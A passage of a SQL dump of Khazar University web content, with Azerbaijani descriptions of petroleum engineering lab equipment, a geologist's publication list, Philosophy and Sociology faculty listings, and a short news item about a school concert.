simulyasiyası\r\nlaboratoriyası</p>\r\n<p>Departamentinin “Neft və qaz mühəndisliyi təlim və tədqiqat labotaroriyasi” neft və qaz mühəndisliyinin\r\nəsaslarının tədrisi və öyrənilməsi üçün\r\nyüksək səviyyədə laboratoriya\r\navadanlıqları ilə təmin olunmuşdur. Onlar həmçinin, magistratura, doktorantura tədqiqatları və sənayeyə\r\nməsləhət işləri üçün istifadə edilir. Laboratoriya\r\naşağıdakı avadanlıqlarla təchiz edilmişdir.</p>\r\n<p><strong>KERNA\r\nSULAŞDIRMA SİSTEMİ</strong></p>\r\n<p>Kerna\r\nsulaşdırma sistemi Neft və Qaz mühəndisliyi departamentində təlim və tədqiqat\r\nprosesində aparılan laborator eksperimentlərində istifadə edilir. Bu müəyyən edilmiş təzyiq və temperatur şəraitlərində\r\nkerna nümunələrində keçən maye&nbsp;axınlarının sistemindən ibarətdir. Bu prosesdə\r\naxın parametlərinin ölçülməsi və monitorinqi həyata keçirilir. Aparılan eksperimentlərin\r\nbəzi növləri kimi kollektor şəraitində ənənəvi\r\nmaye vurma, kimyəvi sulaşdırma, mikrob üsulu ilə neftvermənin artırılması və keciriciliyin ölçülməsi\r\nişləri bu avadanlıqla yerinə\r\nyetirilir.</p><p><img src=\"/files/petroleum_depart/1.png\" style=\"width:600px;height:425px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/petroleum_depart/2.jpg\" style=\"width:600px;height:397px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong></strong></p><p><strong>ƏL\r\nİLƏ İDARƏ OLUNAN NƏMLƏNDİRİCİ</strong></p>\r\n<p>Əl ilə idarə olunan nəmləndirici\r\nkernadan kəsilmiş nümunələrdə\r\nvakuum və doyma dövrələrini ardıcıllıqla\r\nyerinə yetirməyə imkan verən neftli və qazlı kollektorların xassələrinin öyrənilməsi\r\nilə əlaqədar&nbsp;tələbələr tərəfindən\r\nlaborator tədqiqatları aparılması üçün istifadə edilir. Avadanlıq kerna kəsilmiş\r\nnümunə ölçüsündə nüvə kameradan, vakuum nasosdan, əl ilə idarə edilən təzyiq\r\nnasosundan, nəmləndirici vakuum aqreqatdan və əl ilə idarə edilən klapanlardan\r\nvə boru xəttindən ibarətdir. Məsaməli mühitin kollektor xüsusiyyətlərini və\r\neffektiv keçiriciliyini qiymətləndirmək üçün&nbsp;- kernadan kəsilmiş nümunələrdən -&nbsp;nəmləndirici kimi su,\r\nduzlu məhlul, neft və başqa mayelərdən istifadə olunur.</p>  <img src=\"/files/petroleum_depart/3.png\" style=\"width:600px;height:444px;margin:7px;float:left\"><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/petroleum_depart/4.jpg\" style=\"width:600px;height:397px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong>REKOMBİNASİYA KAMERASI</strong></p><p>Bu avadanlıq\r\nyüksək təzyiqin və yüksək temperaturun rekombinasiyası kamerasından təşkil olunub və&nbsp;neft və qaz yataqlarının işlənməsi prosesində\r\nmüxtəlif təzyiq və temperatur şəraitində maye&nbsp;axınının tədqiqi üçün istifadə\r\nedilir. Bir neçə saat ərzində ilkin lay maye axınının&nbsp;bircinsli qarışığını almaq üçün quyu ağzında separatordan neft və qaz\r\nnümunəsi əvvəlcədən muəyyən edilmiş həcmdə vurulur, istənilən temperaturda\r\nqızdırılır və kollektorun nəmləndirmə təzyiqindən yüksək təzyiqdə təzyiqləndirilməsi\r\nüçün istifadə edilir. Avadanlıq temperatur nəzarəti üçün&nbsp;qızdırıcı daş parçası yerləşdirilmiş\r\nrekombinasiya kamerasından, iki yerdəyişdiricidən və əl nasosundan ibarətdir.\r\nSepartorların və ya yerüstu mayelərin&nbsp;rekombinasiyası ilə&nbsp;kollektor mayelərini&nbsp;almaq üçün istifadə edilir.</p>  <img src=\"/files/petroleum_depart/5.0.JPG\" style=\"width:600px;height:289px;margin:7px;float:left\"><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong></strong></p><p><strong>İSTİLİK\r\nDƏYİŞDİRİCİ</strong></p>\r\n<p>Bu qurğu şəffaf slindrik örtüklü&nbsp;istilik dəyişdiricidən təşkil olunub və\r\nistilik dəyişdiricilərin konstruksiyasının daxilini\r\nvizuallaşdırmağa imkan verir. Biri maye boru vasitəsilə axir, digəri isə qabıq\r\nüzrə axıb keçir. Bu eksperimentin məqsədi tələbələrdə qabıq və boru dəyişdiriciləri üçün\r\nümumi&nbsp;istilik keçiricilik əmsalını (U) hesablamaq və onlarda maye axını sürətinin\r\neffektini tədqiq etmək bacarığını\r\naşılamaqdır. Eksperimenti həyata keçirmək üçün bir neçə kürəşəkilli kranlar\r\nistifadə edilir və onların vasitəsilə müxrəlif axım rejimlərini birlikdə müqayisə\r\netmək mümkündür. Bu klapanları istifadə edərək isti və soyuq mayenin, həmçinin\r\nboru və ya qabıq vasitəsilə axmasını müqayisə edərək, tələbələr isti mayenin\r\nboru vasitəsilə axması zamanı istilik itkisini qiymətləndirə bilərlər. Dörd istilik buxarı\r\nistifadə edərək isti və soyuq mayenin\r\ndaxil olan və çıxan temperaturalarını ölçməklə düz və əks istiqamətdə maye\r\naxının rejiminin temperatur fərqlərini hesablamaq olar. Burada iki kürəvari\r\nklapanlar isti və soyuq mayenin&nbsp;axın sürətini nizamlamaq üçün istifadə edilir və\r\nistilikötürmənin ümumi əmsalında işlənmə\r\neffektini tədqiq etməyə imkan verir. Avadanlıq əsasən isti maye şəklində olan\r\nmüxtəlif eksperimentlərin aparılmasında istifadə edilir:</p>\r\n<p>1. İstilik\r\ndəyişdiricinin məhsuldarlığının yüksəldilməsi;</p>\r\n<p>2. İstilikötürmə\r\nəmsalının tədqiqi;</p>\r\n<p>3. İstilik dəyişdiricidə çirklənmə faktorunun öyrənilməsi.</p>  <img src=\"/files/petroleum_depart/6.png\" style=\"width:600px;height:451px;margin:7px;float:left\"><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p>Departamentin&nbsp;<strong>“\r\nNeft və qaz yataqlarının simulyasiyası” laboratoriyası&nbsp;</strong>Schlumberger şirkətinin&nbsp;dəstəyi ilə 2011-ci ildə yaradılmış və şirkət\r\ntərəfindən&nbsp;<strong>Petrel, Techlog, Eclipse&nbsp;</strong>kompüter programlarının istifadəsi\r\nilə tələbələr,&nbsp;həm tədris prosesində və həm də elmi-tədqiatların aparılmasında,\r\nneft və qaz yataqlarının axtarışı,&nbsp;kəşfiyyatı işlənməsi və istismarının&nbsp;modelləşdirilməsi ilə əlaqədar&nbsp;innovativ layihələr yerinə yetirirlər.&nbsp;</p>\r\n<p><img src=\"/files/petroleum_depart/7.jpg\" style=\"width:600px;height:405px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong>Petrel. Fasiyalarin modelləşdirilməsi</strong></p>'),(1106,276,'az','Nəşrlər','Nəşrlər','<h3 style=\"color:#000000\">Qəşəm Zeynalov</h3><p><strong>1.&nbsp;</strong>Zeynalov, G., Alkhasli, S., &amp; Shahtakhtinskiy, A. (2017, November 1). Outcrop Analogue Study of Deformation Bands and Their Impact on Rock Properties of the Productive Series in South Caspian Basin. Onepetro, Society of Petroleum Engineers. doi:10.2118/189018-MS, 20 pages. https://www.onepetro.org/conference-paper/SPE-18901&nbsp;</p><p><strong>2.&nbsp;</strong>Shahriyar Alkhasli, Gasham Zeynalov, Aydin Shachtachtinskiy. Evaluation Rock Properties of the Structurally Deformed Areas on Outcrop Analogues in Azerbaijan. 2017, Proceedings of AAPG /SEG International Conference &amp; Exhibition 15-18 October, 2014, London, England, UK, 10 pages</p><p><strong>3.</strong>&nbsp;Fawzi Al-Beyati, Muhammed Ismail, Gasham Zeynalov, 2017, Estimation original oil in place (OOIP) in the selected well from small giant Bai Hassan oil field, Northern Iraq case study, International Journal of Enhanced Research in Science, Technology &amp; Engineering, Volume 6, Issue 3, March, 2017, p. 20-28</p><p><strong>4.&nbsp;</strong>Fawzi Al-Beyati, Muhammed A. Ismail , Gasham Zeynalov, 2017, 3D Permeability distribution modeling from porosity wire line logs and irreducible water saturation graph a case study on small giant Bai Hassan oil fieldNorthern Iraq, International Journal of Enhanced Research in Science, Technology &amp; Engineering, Volume 6, Issue 1, January, 2017, p. 6-15</p><p><strong>5.</strong>&nbsp;Gasham Zeynalov, Muhammed A. Ismail, Fawzi Al-Beyati, 2016, Petrophysical Modeling of the Tertiary reservoirs in the small giant Bai Hassan oil field, Northern Iraq. International Journal of Enhanced Research in Science, Technology &amp; Engineering, Vol. 5, Issue 12, December, 2016, p.80-89&nbsp;</p><p><strong>6.&nbsp;</strong>Zeynalov, G.A., &amp; Askerova, R., 2014, Structural-geologic modeling and oil and gas bearing of the Lower Kura Basin, Azerbaijan, Abstracts book of the 8th International Symposium on Eastern Mediterranean Geology, 13- 17 October 2014, Mugla, Turkey, p.47-48</p><p><strong>7.&nbsp;</strong>Zeynalov G.A., 2014, Methodological-Education program on the Materials of Sciences course for BSc level, Publication of Khazar University, Baku, 11 pages.</p><p><strong>8.&nbsp;</strong>Zeynalov G.A., 2014, Methodological-Education program on the Termodynamis course for BSc level, Publication of Khazar University, Baku, 12 pages.</p><p><strong>9.&nbsp;</strong>Zeynalov, G.A., 2014. Characteristics of depositional environments and oil and gas content in western part of the South Caspian Basin, Azerbaijan. Abstracts Book of the 67th Geological Congress of Turkey, 14-18 April 2014, Congress Center of General Directorate of MTA/Ankara, pp. 338-341</p><p><strong>10.&nbsp;</strong>Kalkan, E., Nadaroglu, H., Chelebi, N. and Zeynalov, G., 2013, Use of Silica Fume for the Nickel Removal from Aqueous Solutions, Abstracts book of the 2nd Workshop on the Medical Geology, 4-6 December, 2013, Antalya, Turkey, pp-349-35</p><p><strong>11.</strong>&nbsp;Zeynalov, G.A., 2012. Petroleum Systems of the Kura Basin, Azerbaijan. Abstracts Book of the 65th Geological Congress of Turkey, 2-6 April 2012, Congress Center of General Directorate of MTA/Ankara, pp. 298-299</p><p><strong>12.&nbsp;</strong>M. Nemčok, A. A. Feyzullayev, F.A. Kadirov, G.A. Zeynalov, R. Allen, C. Christensen and B. Welker, 2011, Neotectonics of the Caucasus and Kura Valley, Azerbaijan, “Global Engineers and Technologist Review” journal , Vol.1,No 1, Malaysia, pp.1-14</p><p><strong>13.</strong>&nbsp;Tagiyev, M.F. and Zeynalov, G.A., 2010. On pyrolysis-based study of the efficiency of primarymigration of hydrocarbons from source rocks. Proceedings of SOCAR, No 2, 2010, pp. 16-19 (in Russian)</p><p><strong>14.&nbsp;</strong>Zeynalov, G.A., 2010. Oil and gas accumulation environments of the Kura Basin, concerning with geotectonic properties. Abstracts of the VII Azerbaijan International Geophysical Conference on the Enhancement of Efficiency of Geophysical Survey under Conditions of Active Geodynamic Processes in Case of South Caspian Basin, 11-13 May, 2010, Baku, Azerbaijan, p.93</p><p><strong>15.&nbsp;</strong>Kocharly, Sh.S., Ahmadov, A.M. &amp; Zeynalov G.A. 2009, Oil-gas bearing of the Suleyman-Akhtarma area, Azerbaijan. Geophysics News in Azerbaijan, No 1-2, 2009, pp.44-47 (in Azeri)</p><p><strong>16.</strong>&nbsp;Zeynalov, G.A., 2008. Fluid flow and sealing properties associated with active faults: KuraBasin, Azerbaijan. Extended Abstracts of EAGE &amp; AAPG International Conference on Petroleum Geology &amp; Hydrocarbon Potential, 6 - 8 October 2008, Baku Azerbaijan, pp.44-48</p><p><strong>17.&nbsp;</strong>Zeynalov, G.A., 2006, Structural-geologic evolution of the western flank of the South Caspian Basin. Extended Abstracts of the Second International Conference on Geodynamics of Oil and Gas Content of Basins, Moscow, Russia, pp.168-171 (in Russian)</p><p><strong>18.</strong>&nbsp;Zeynalov, G.A. and Frost, E.G., 2005. Geologic Risk and Seismic Hazard Assessment in the Southeastern Caucasus using remote sensing data. Proceedings of IAMG’05: GIS and Spatial Analysis, Toronto, Canada, Vol.1, pp.155-160</p><p><strong>19.&nbsp;</strong>Zeynalov, G.A. and Khanlarova Sh.H., 2005, Oil and gas prospective in southern-west flank structures of the Gabyrry- Ajinohur basin, Azerbaijan, Oil &amp; Gas, pp.17-22 (in azeri)</p><p><strong>20.</strong>&nbsp;Zeynalov G.A., 2005, Analysis of structural architectures of Garadagh field and implications to reservoir performance , Reports of GSRI, Azerbaijan, pp.21-24 (in Russian)</p><p><strong>21.</strong>&nbsp;Zeynalov G.A 2005 , Analysis of the results of geologic-geophysic investigations and evaluation of oil and gas content in Turkan field, onshore Azerbaijan, Reports of GSRI,pp.12-17 (in Russian)</p><p><strong>22.</strong>&nbsp;Zeynalov, G.A., 2004, Kura Intermountain Basin: Active Tectonics and Regularities of Distribution of Hydrocarbon Accumulations. Journal Oil and Gas Geology, No 6, Moscow, Russia, pp.34-38 (in Russian)</p><p><strong>23.</strong>&nbsp;Zeynalov, G.A., 2004, Active tectonics of the Kura Intermountain Basin and its relation with fluid flow. In the Book of “Geology of Caspian and Aral Seas Regions”, Almaty, Kazakhstan Geological Society “KazGEO”, pp. 212-217 (in Russian)</p><p><strong>24.</strong>&nbsp;Zeynalov, G.A., 2004, Fault Sealing and Hydrocarbon Occurrence in the Kura Valley, Azerbaijan, Abstracts of the 32nd International Geological Congress, Florence, Italy, (part 1), p.697</p><p><strong>25.</strong>&nbsp;Zeynalov, G.A., 2004, Kura Intermountain Basin: occurrence of oil and gas seeps and environment of hydrocarbon accumulations. Extended Abstracts of the Seventh International Conference devoted to 250th Anniversary of Moscow University, New Ideas in Geology and Geochemistry of oil and gas, Moscow ,GEOS, Russia, pp.191-192 (in Russian)</p><p><strong>26.</strong>&nbsp;Zeynalov, G.A., 2003, Interrelation between oil seeps, faults and hydrocarbon reserves in Azerbaijan. Extended Abstracts of the 5th EAGE and AGEO International Conference “Crimea-2003”, Problems of Geodynamics and Oil-gas Content of the Black Sea and Caspian Regions, Crimea, Symferopol, Ukraine, 8-13 September,2003, pp.192-195</p><p><strong>27.&nbsp;</strong>Zeynalov, G.A., 2002, Application remote sensing technology for monitoring of the mud volcano activity in coastal region of the South Caspian Basin. Proceedings of the Seventh International Conference on Remote Sensing for Marine and Coastal Environments, Miami, USA, Vol.I, pp.327-329&nbsp;</p><p><strong>28.</strong>&nbsp;Zeynalov, G.A., 2001, Analysis of Fluvial depositional environment in western coast of the South Caspian Basin using Landsat data. Proceedings of the Fifth International Airborne Remote Sensing Conference and Exhibition, San Francisco, USA, Vol.I pp. 383-386</p><p><strong>29.</strong>&nbsp;Zeynalov, G.A., 2000, Importance of Remote Sensing data in Structural Geologic Analysis of Oil- and Gas-Bearing Regions of Azerbaijan, 2000. “Natural Resources Research” journal, Kluwer Academic Publishers (USA), Vol. 9, No 4, pp.307-314.</p><p><strong>30.</strong>&nbsp;Zeynalov, G.A., 2000, Habitat of mud volcanoes and petroleum seepage in Azerbaijan. Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins, St.Julians, Malta, 1-4 October 2000, p.131-135</p><p><strong>31.</strong>&nbsp;Zeynalov, G.A., 2000, Fault-block structure and fluid flow of the Kura basin, Azerbaijan. Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins, St.Julians, Malta, 1-4 October 2000, p.145-148</p><p><strong>32.</strong>&nbsp;Zeynalov, G.A., 2000, Influences of Faults to formation and oil accumulation zones in the Kura basin. Extended Abstracts of the 62nd EAGE Conference &amp; Technical Exhibition SECC, Glasgow, UK, 29 May-2 June 2000, Vol. I, p.171-176.</p><p><strong>33.&nbsp;</strong>Zeynalov, G.A., 2000, New data on the tectonics of the Western Coast of South Caspian Basin from analysis of SPOT and Landsat-TM images. Proceedings of the Sixth International Conference on Remote Sensing for Marine and Coastal Environments, Vol. II, 1-3 May 2000, Charleston, South Carolina, USA, p.458.</p><p><strong>34.&nbsp;</strong>Zeynalov, G.A., 2000, Geologic significance of Landsat data for oil exploration in Azerbaijan. Proceedings of the Fourteenth International Conference on Applied Geologic Remote Sensing, Las Vegas, Nevada, USA, 6-8 November, 2000.Ann Arbor, ERIM International , p.212-219</p><p><strong>35.</strong>&nbsp;Zeynalov, G.A., 2000, Fault tectonics and formations of oil and gas pools in the East Azerbaijan from analysis of SPOT/Landsat images. AAPG’s Inaugural Regional International Conference, July 9-12, 2000, Istanbul, Turkey, p.241-242</p><p><strong>36.&nbsp;</strong>Zeynalov, G.A., 1999, Some tectonic aspects of conditions of formation of oil and gas deposits in the western flank of the South Caspian basin (according to the remote sensing data). Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”, June 9-10, 1999, Baku, Azerbaijan, p.202-203</p><p><strong>37.&nbsp;</strong>Zeynalov, G.A., and A.A. Feyzullayev, 1999, Fault tectonics and its role in fluid dynamics in the South Caspian Basin (western flank) - Materials of The Third International Conference devoted to 275th anniversary of Russian Academy of Sciences. New ideas in geology and geochemistry of oil and gas. Oil &amp; gas-bearing basin as a self-developing non-linear systems. Moscow State University, Russia, p.101-103 (in Russian)</p><p><strong>38.</strong>&nbsp;Kuliyev K.G. and Zeynalov, G.A., 1999, Geodynamic conditions of formation of Meso-Cenozoic structures in the Kura Basin and its oil and gas potential.. Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”, June 9-10, 1999, Baku, Azerbaijan, p.226-228</p><p><strong>39.&nbsp;</strong>Zeynalov, G.A., 1999, The methodology for the use of Landsat-MSS imagery in oil exploration. Example of the East Azerbaijan region. The 2nd International Symposium on Petroleum Geology. Probability Approach to Petroleum Exploration, April 22-24, 1999, Zagreb, CROATIA, p.177-178</p><p><strong>40.&nbsp;</strong>Guliyev I.S., Feyzullayev, A.A., Kuliyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A., 1999, Miocene hydrocarbon potential of the South-eastern Gobustan and western Absheron, Proceeding of Geological Institute, Azerbaijan Academy of Sciences (in Russian)</p><p><strong>41.</strong>&nbsp;Zeynalov, G.A., 1999, Applying remote sensing investigations in oil exploration with connection of environmental protection. Abstracts of the Scientific –Practical Conference: Sumgayit: Ecology and Progress, December15-16, 1999, Sumgayit, Azerbaijan, pp.103-105</p><p><strong>42.</strong>&nbsp;Guliyev I.S., Zeynalov G.A., Tagiyev, M.F. and Guliyev, S.I., 1997, Elaboration and optimization methods of mapping of geologic-geophysical sections, maps and etc subsurface images on base of PC. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian)</p><p><strong>43.&nbsp;</strong>Zeynalov, G.A., 1997, Studying mud volcanism of Azerbaijan by geological interpretation of remote sensing data. Abstracts of Africa/Middle East International Geophysical Conference &amp; Exposition, Cairo, Egypt, February 17-19, 1998, pp. 47-48</p><p><strong>44.</strong>&nbsp;Zeynalov, G.A., 1997, Lineament field of East Azerbaijan and some regularilities of formation of oil and gas deposits. Abstracts of The conference of Azerbaijan Society of Petroleum Geologists. “Generation, migration and accumulation of hydrocarbons”. Baku, Azerbaijan, 1997, pp.36 -37</p><p><strong>45.&nbsp;</strong>Zeynalov, G.A., 1997, The role of Faults on the formation of oil and gas deposits in the East Azerbaijan.- Abstracts of the International Conference-Seminar “Newest tectonics and its influence on the formation and distributions of oil and gas fields”, Baku, p.36-37(in Russian)</p><p><strong>46.&nbsp;</strong>Azerli, M.M. and Zeynalov, G.A., 1996, Paleotectonic reconstruction of regional structure of Kura Basin. Journal of Azerbaijan Oil Industry, Baku, No 11, pp. 4-8, (in Russian)</p><p><strong>47.</strong>&nbsp;Zeynalov, G.A., 1996, Integration of of geologic-geophysical and remote sensing data for evaluation geologic structure of the Kura Basin. Proceedings of the 1st International Symposium on Petroleum Geology. Economic Aspects of Petroleum Exploration.Zagreb, CROATIA, p.231-232</p><p><strong>48.&nbsp;</strong>Zeynalov, G.A., 1996, Mud volcanism and oil and gas content of the Lower Kura Basin. PhD thesis dissertation. Institute of Geology, Azerbaijan National Academy of Sciences, Baku, Azerbaijan, 25 p.</p><p><strong>49.</strong>&nbsp;A.A.Feizullayev, K.G.Kuliyev and Zeynalov, G.A., 1995, The oil and gas potential of the structures affected by mud volcanoes. Proceedings of the III International Conference of AAPG, Baku, 1995, pp.23-25&nbsp;</p><p><strong>50.</strong>&nbsp;M.M.Azerli, Zeynalov, G.A., 1995, Lineamental field of Lower Kura block and the specifics of mud volcanoes distribution. Proceedings of III International Conference of AAPG, Baku, 1995, pp.19-22</p><p><strong>51.</strong>&nbsp;Zeynalov, G.A., 1995, Peculiarities of mud volcanoes distribution in the Lower Kura depression. Proceedings of III International Conference of AAPG, Baku, 1995, pp.37-39</p><p><strong>52.&nbsp;</strong>Guliyev I.S., Feyzullayev, A.A., Kulyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A., 1995, Geochemistry of oil and mineralogy of solid products of Azerbaijan mud volcanoes. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian)</p><p><strong>53.</strong>&nbsp;Zeynalov, G.A., 1995, Role structural-tectonic development factor in prognoses of oil and gas content of the Lower Kura basin. Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan, October 10-11, pp. 2-4 (in Russian)</p><p><strong>54.&nbsp;</strong>Zeynalov, G.A., 1995, About historical-geologic modelling of oil and gas generation in the Lower Kura Basin. Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan, October 10-11, pp. 4-5 (in Russian)</p><p><strong>55.</strong>&nbsp;E.B.Bagirov and Zeynalov, G.A., 1994, Classification of mud volcanoes of the Kura Basin. Journal of Azerbaijan Oil Industry”, Baku, 1994, No 6, p.45-54, (in Russian)</p><p><strong>56.&nbsp;</strong>Rahmanov R.R,, Zeynalov, G.A. and Azerli M.M., 1993, Preliminary results of studying mud volcanism of Azerbaijan by satellite images. Abstracts of the I Eurasian Symposium on Space Sciences and Technologies, Gebze-Kocaeli,Turkey, October 25-27, 1993, pp.127-129</p><p><strong>57.&nbsp;</strong>Zeynalov, G.A., 1993, Oil and gas prospects of Paleogene sediments in Lower Kura Basin, Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku, p.71-72 (in Russian)</p><p><strong>58.&nbsp;</strong>Mehdiyev Sh.F., Bunyadzadeh Z.A., Aliyev, G.M., Bashirov, Y.F., Zeynalov, G.A. and Efendiyev A. N., 1992, Oil and gas prospects of Productive series in Lower Kura Basin and Baku archipelago. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian)</p><p><strong>59.</strong>&nbsp;Zeynalov, G.A., 1992, Mud volcano distributions and hydrocarbon seepages in Shamakhy-Gobustan and Lower Kura depressions., Abstracts of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku, p.44-45 (in Russian)</p><p><strong>60.&nbsp;</strong>Zeynalov, G.A. Facial-lithologic characterization of lower horizons of Productive Series (Lower Pliocene) sediments in Lower Kura Basin. Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku, pp.70-71(in Russian)</p><p><strong>61.&nbsp;</strong>N.R.Narimanov, A.K.Abasov and Zeynalov, G.A., 1991, On structural division of Cheleken-Livanov uplift zone (Turkmenistan). - Journal of Oil &amp; Gas, Baku, 1991, No 2, pp.11-16, (in Russian)</p><p><strong>62.</strong>&nbsp;Zeynalov, G.A., 1988, Paleotectonic development from Pliocene to Quarternary periods in Absheron archipelago, South Caspian Basin, Abstracts of Conference Soviet Union Young scientists and students, Dnepropetrovsk , Ukraine, p.123-124 (in Russian)</p>'),(1107,692,'en','Faculty and Staff','Faculty and Staff','<div><p><strong><a href=\"http://www.khazar.org/files/letters/Eldar_Shahgeldiyev-elmi_meqaleler_2018(AAK).pdf\"><img src=\"/files/philosophy_depart/eldar_s.jpg\" style=\"width:150px;height:199px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Eldar Shahgaldiyev</a>&nbsp;- Associated Professor</strong></p><p><strong>Ph.D.,&nbsp;Head of Philosophy and Sociology  Department&nbsp;</strong></p><p><strong>E-mail: </strong><a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a></p><p><a href=\"mailto:eshahgaldiyev[at]khazar.org\"></a><strong>Phone: </strong>(+99412)&nbsp;421&nbsp;79&nbsp;16 (280)&nbsp;</p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br></div><div><strong><img src=\"/files/image/7361.gif\" style=\"width:150px;height:150px;margin:7px;float:left\"></strong></div><p><strong><a href=\"http://www.khazar.org/files/MAIL_YAQUBOV.pdf\">Mail Yagubov</a></strong></p><p><strong>Ph.D. (University of Tehran), instructor&nbsp;<strong>of Philosophy and Sociology Department&nbsp;</strong>  </strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mail.yaqub[at]gmail.com\">mail.yaqub[at]gmail.com</a>&nbsp;</p><p><strong>Phone:</strong>&nbsp;(+99455) 932 09 90</p><p><br></p><p><br></p>  <br><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><div><img src=\"/files/image/elsever%20semedov.JPG\" style=\"width:150px;height:217px;margin:7px;float:left\"></div><p><strong><a href=\"http://www.khazar.org/files/social/Elsev%C9%99r_S%C9%99m%C9%99dov_CV%20(AZ).pdf\">Elsever Semedov</a></strong></p><p><strong>Ph.D. (Marmara University,&nbsp;Istanbul),&nbsp;</strong><strong>instructor&nbsp;<strong>of Philosophy and Sociology Department&nbsp;</strong></strong>  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:elsever79[at]hotmail.com\">elsever79[at]hotmail.com</a>&nbsp;</p><p><strong>Phone:</strong>&nbsp;(+99450)628 67 98&nbsp;</p>'),(1881,1157,'en','Dunya School Holds Republic Day Event','On May 27, 2016, a concert was held in Binagadi District by Khazar University’s affiliate Dunya School, the Binagadi District Executive Power, the New Azerbaijan Party Binagadi Branch and Binagadi District Administration for Youth and Sports.','<p>On May 27, 2016, a concert was held in\r\nBinagadi District by Khazar University’s affiliate Dunya School, the Binagadi\r\nDistrict Executive Power, the New Azerbaijan Party Binagadi Branch and Binagadi\r\nDistrict Administration for Youth and Sports. The concert was held in honor of\r\nthe 98<sup>th</sup> anniversary of the foundation of Azerbaijan Democratic\r\nRepublic, the first democratic state in the Muslim East. </p>\r\n<p>News about the concert was published on\r\nseveral sites. More information is available at this link: <a href=\"http://az.trend.az/azerbaijan/society/2539375.html\">http://az.trend.az/azerbaijan/society/2539375.html</a>. </p>\r\n<p>&nbsp;</p>'),(1108,692,'az','İşçi heyəti','İşçi heyəti','<div><strong>Fəlsəfə və Sosiologiya departamenti aşağıdakı işçi heyəti ilə çalışır:</strong></div><p><strong></strong><strong><br></strong><strong><a href=\"http://www.khazar.org/files/letters/Eldar_Shahgeldiyev-elmi_meqaleler_2018(AAK).pdf\"><img src=\"/files/philosophy_depart/eldar_s.jpg\" style=\"border:0px  #0000ee;width:150px;height:199px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Eldar Şahgəldiyev</a>&nbsp;- Dosent</strong></p><p><strong>Fəlsəfə doktoru, Fəlsəfə və sosiologiya departamentinin müdiri  </strong></p><p>E-mail: <a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a></p><p>Tel:&nbsp;(+99412)&nbsp;421&nbsp;79 16 (280)  </p><p><br></p><p><br></p><p><br></p><p><br></p><div style=\"font-weight:bold\"><strong><hr style=\"width:100%;height:1px\" noshade=\"noshade\"></strong></div><p><img src=\"http://www.khazar.org/files/image/7361.gif\" style=\"border:0px  #000000;width:150px;height:150px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/MA%C4%B0L%20YAQUBOV.PDF\" style=\"font-weight:bold\">Mail Yaqubov</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/MA%C4%B0L%20YAQUBOV.PDF\"></a><strong>Fəlsəfə doktoru (Tehran Universiteti),&nbsp;</strong><strong>Fəlsəfə və sosiologiya departamentinin müəllimi</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mail.yaqub[at]gmail.com\">mail.yaqub[at]gmail.com</a></p><p><strong>Tel:</strong>&nbsp;(+99455) 932 09 90</p><p><br></p><p><br></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><a href=\"http://www.khazar.org/files/social/Elsev%C9%99r_S%C9%99m%C9%99dov_CV%20(AZ).pdf\"><div><img src=\"http://www.khazar.org/files/image/elsever%20semedov.JPG\" style=\"float:left;width:150px;height:217px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></div></a><p><a href=\"http://www.khazar.org/files/social/Elsev%C9%99r_S%C9%99m%C9%99dov_CV%20(AZ).pdf\"><strong>Elsevər Səmədov</strong></a></p><p><strong>Fəlsəfə doktoru (Marmara Universiteti,&nbsp;İstanbul),&nbsp; Fəlsəfə və sosiologiya departamentinin müəllimi </strong>  